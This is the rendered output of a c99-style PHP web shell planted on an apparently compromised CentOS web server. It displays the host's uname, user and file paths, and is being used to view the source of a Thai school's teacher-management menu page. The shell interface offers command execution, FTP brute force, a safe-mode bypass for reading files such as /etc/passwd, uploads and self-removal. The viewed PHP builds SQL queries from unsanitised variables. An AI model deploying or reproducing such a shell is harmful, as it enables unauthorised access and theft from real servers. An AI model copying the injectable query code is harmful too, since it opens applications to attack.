!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/Monny_depart/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu_teacher.php (13.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
//$valid_user = $_session['valid_user'];
//$password = $_session['password'];
//$priority = $_session['priority'];
 
if (session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
ConnectDB();
$Username $valid_user;
$sql "Select * From personal_tb Order By Teacher_name  ASC";
$result mysql_query($sql) or die(" Error").mysql_error();
$num mysql_num_rows($result);
//$row = mysql_num_rows($result);
 
?>
<html>
<head>
<title>Teacher Management Menu</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../css/style1.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
</script>
<style type="text/css">
<!--
.style1 {
    color: #0000FF;
    font-size: 14px;
}
.style2 {color: #003399}
.style3 {
    font-size: 14px;
    font-weight: bold;
}
.style4 {font-size: 14px}
.style6 {color: #FF0000}
.style7 {
    color: #0000FF;
    font-weight: bold;
}
.style8 {color: #FF6600}
-->
</style>
</head>

<body bgcolor="#DBEFF7" background="../Image/bgt2.jpg">
<p>&nbsp;</p>
<table width="61%" height="295" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td> <div align="center" class="style7"><font size="2" face="Tahoma"><span class="style8">ขณะนี้ฝ่าย</span> <? echo $valid_user ?> <span class="style8">กำลังใช้งานระบบ </span></font></div></td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
  <tr> 
    <td><table width="96%" height="187" border="1" align="center" cellpadding="0" cellspacing="1" bordercolor="#FFFFFF" style="background-color:#eeeeee; border:1px solid gray"size="12">
        <tr> 
          <td background="../Image/barIns2.jpg" bgcolor="#D1E1F0"> <div align="center"><font color="#000000" size="4" face="Tahoma"><strong>สถานะข้อมูล</strong></font></div></td>
        </tr>
        <tr> 
          <td height="160" bgcolor="#D1E1F0" > <div align="center"> 
              <table width="87%" border="0" cellpadding="0" cellspacing="1" bordercolor="#FFFFFF" bgcolor="#FFFFFF" style="border:1px solid gray">
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" > 
                  <td width="5%" bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../Image/icon_paper2.gif" width="9" height="11" align="absmiddle"></strong></font></div></td>
                  <td width="75%" bgcolor="#E4F3F8" class="d"><span class="style3"><font face="Tahoma"><a href="Support/Accessories/AccList.php" class="d">ข้อมูลครุภัณฑ์</a></font></span></td>
                  <td width="20%" bgcolor="#E4F3F8"><div align="center"><strong><font size="4" face="Tahoma"> 
                      <?php 
                         
// $code = $rs["code"];
                          
$sql4 "Select * From accessories_tb ";
                          
$result4 mysql_query($sql4) or die(" Error".mysql_error());
                          
$rc1 mysql_num_rows($result4);
                           if ( 
$rc1 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$rc1  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$rc1  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                  </font></strong></div></td>
                </tr>
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" >
                  <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../Image/icon_paper2.gif" width="9" height="11" align="absmiddle"></strong></font></div></td>
                  <td bgcolor="#E4F3F8" class="d"><span class="style3"><font face="Tahoma"><a href="Support/building/BuildingList.php" class="d">ข้อมูลครุภัณฑ์และสิ่งก่อสร้าง</a><a href="research/ResearchList2.php?Page=1&Teacher_code=<? echo $rs[Teacher_code]?>" class="d"></a></font></span></td>
                  <td bgcolor="#E4F3F8"><div align="center"><strong><font size="4" face="Tahoma">
                      <?php 
                         
// $code = $rs["code"];
                          
$sql2 "Select * From building_tb ";
                          
$result2 mysql_query($sql2) or die(" Error".mysql_error());
                          
$rc mysql_num_rows($result2);
                           if ( 
$rc == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$rc  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$rc  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                  </font></strong></div></td>
                </tr>
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" > 
                  <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../Image/icon_paper2.gif" width="9" height="11" align="absmiddle"></strong></font></div></td>
                  <td bgcolor="#E4F3F8" class="d"><span class="style3"><font face="Tahoma"><a href="personal/menu_personal.php" class="d">ข้อมูลประวัติบุคลากรและการเงิน</a></font></span></td>
                  <td bgcolor="#E4F3F8"> <div align="center"><strong><font size="4" face="Tahoma">
                    <?php 
                         
// $code = $rs["code"];
                          
$sql2 "Select * From personal_tb  ";
                          
$result2 mysql_query($sql2) or die(" Error".mysql_error());
                          
$rc mysql_num_rows($result2);
                           if ( 
$rc == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$rc  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$rc  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?> 
                      </font></strong></div></td>
                </tr>
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" > 
                  <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../Image/icon_paper2.gif" width="9" height="11" align="absmiddle"></strong></font></div></td>
                  <td bgcolor="#E4F3F8" class="d"><span class="style3"><font face="Tahoma"><a href="training/Committee/CommitteeMe.php?Page=1&Teacher_code=<? echo $rs[Teacher_code]?>" class="d">ข้อมูลการส่งเอกสารฝ่ายบริหาร</a></font></span></td>
                  <td bgcolor="#E4F3F8"> <div align="center"><strong><font size="4" face="Tahoma"> 
                  <?php 
                          $code 
$rs["Teacher_code"];
                           
$sql9 "Select * From committee_tb  Where Teacher_code='$code'";
                          
$result9 mysql_query($sql9) or die(" Error".mysql_error());
                          
$r9 mysql_num_rows($result9);
                           if ( 
$r9 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r9  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r9  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
</font></strong></div></td>
                </tr>
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" > 
                  <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../Image/icon_paper2.gif" width="9" height="11" align="absmiddle"></strong></font></div></td>
                  <td bgcolor="#E4F3F8" class="d"><span class="style3"><font face="Tahoma"><a href="edu_product/Edu_ProductMe.php?Page=1&Teacher_code=<? echo $rs[Teacher_code]?>" class="d">ข้อมูลฝ่ายบริหาร</a></font></span></td>
                  <td bgcolor="#E4F3F8"> <div align="center"><strong><font size="4" face="Tahoma"> 
                      <?php 
                          $code 
$rs["Teacher_code"];
                           
$sql10 "Select * From edu_product_tb  Where Teacher_code='$code'";
                          
$result10 mysql_query($sql10) or die(" Error".mysql_error());
                          
$r10 mysql_num_rows($result10);
                           if ( 
$r10 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r10  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r10  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                      </font></strong></div></td>
                </tr>
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" >
                  <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../Image/icon_paper2.gif" width="9" height="11" align="absmiddle"></strong></font></div></td>
                  <td bgcolor="#E4F3F8" class="d"><span class="d style4 style6"><strong><font face="Tahoma"><span class="style3"><font face="Tahoma"><a href="Project&Acc/InstructorList.php" class="d">ข้อมูลโครงการแผนดำเนินการ</a></font></span></font></strong></span></td>
                  <td bgcolor="#E4F3F8"><div align="center"><strong><font size="4" face="Tahoma">
                    <?php 
                          
//$code = $rs["Teacher_code"];
                            
$sql10 "Select * From project_type_tb ";
                            
$result10 mysql_query($sql10) or die(" Error".mysql_error());
                          
$r10 mysql_num_rows($result10);
                           if ( 
$r10 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r10  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r10  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
</font><font size="4" face="Tahoma">                  </font></strong></div></td>
                </tr>
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" >
                  <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../Image/icon_paper2.gif" width="9" height="11" align="absmiddle"></strong></font></div></td>
                  <td bgcolor="#E4F3F8" class="d"><span class="d style4 style6"><font face="Tahoma"><a href="Manament/ManList.php"" class="style2">้<strong>ข้อมูลการแจ้งซ่อมบำรุง</strong></a></font></span></td>
                  <td bgcolor="#E4F3F8"><div align="center"><strong><font size="4" face="Tahoma">
                      <?php 
                         
// $code = $rs["code"];
                          
$sql4 "Select * From manament_tb ";
                          
$result4 mysql_query($sql4) or die(" Error".mysql_error());
                          
$rc1 mysql_num_rows($result4);
                           if ( 
$rc1 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$rc1  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$rc1  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                  </font></strong></div></td>
                </tr>
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" >
                  <td bgcolor="#E4F3F8"><div align="center"><font size="2" face="Tahoma"><strong><img src="../Image/icon_paper2.gif" width="9" height="11" align="absmiddle"></strong></font></div></td>
                  <td bgcolor="#E4F3F8" class="d"><span class="d style4 style6"><strong><font face="Tahoma"><strong><font face="Tahoma">ข้อมูลการขอรถยนต์</font></strong></font></strong></span></td>
                  <td bgcolor="#E4F3F8"><div align="center"><strong><font size="4" face="Tahoma">
                      <?php 
                          
//$code = $rs["Teacher_code"];
                            
$sql10 "Select * From project_type_tb ";
                            
$result10 mysql_query($sql10) or die(" Error".mysql_error());
                          
$r10 mysql_num_rows($result10);
                           if ( 
$r10 == 0)
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#FF0000\">";
                               echo
"ยังไม่ข้อมูล";
                               echo
"</font>";
                              }
                            else if (
$r10  0
                              {
                              echo
"<font face=\"Tahoma\" Size=\"2\" color=\"#006633\">";
                               echo
"$r10  <font face=\"Tahoma\" Size=\"2\" color=\"#000000\">ระเบียน</font>";
                               echo
"</font>";
                              } 
                          
?>
                  </font><font size="4" face="Tahoma"> </font></strong></div></td>
                </tr>
                
                <tr onMouseOver="this.style.backgroundColor='#FCFCF3'" onMouseOut="this.style.backgroundColor='#EEEEEE'" >
                  <td height="19" bgcolor="#E4F3F8" class="style1"> <font size="2" face="Tahoma"><strong>  </strong></font></td>
                  <td bgcolor="#E4F3F8" class="style1"><strong><font size="2" face="Tahoma"><a href="../Logout.php" class="d style6">Logout</a></font></strong></td>
                  <td bgcolor="#E4F3F8">&nbsp;</td>
                </tr>
              </table>
            </div></td>
        </tr>
      </table></td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0079 ]--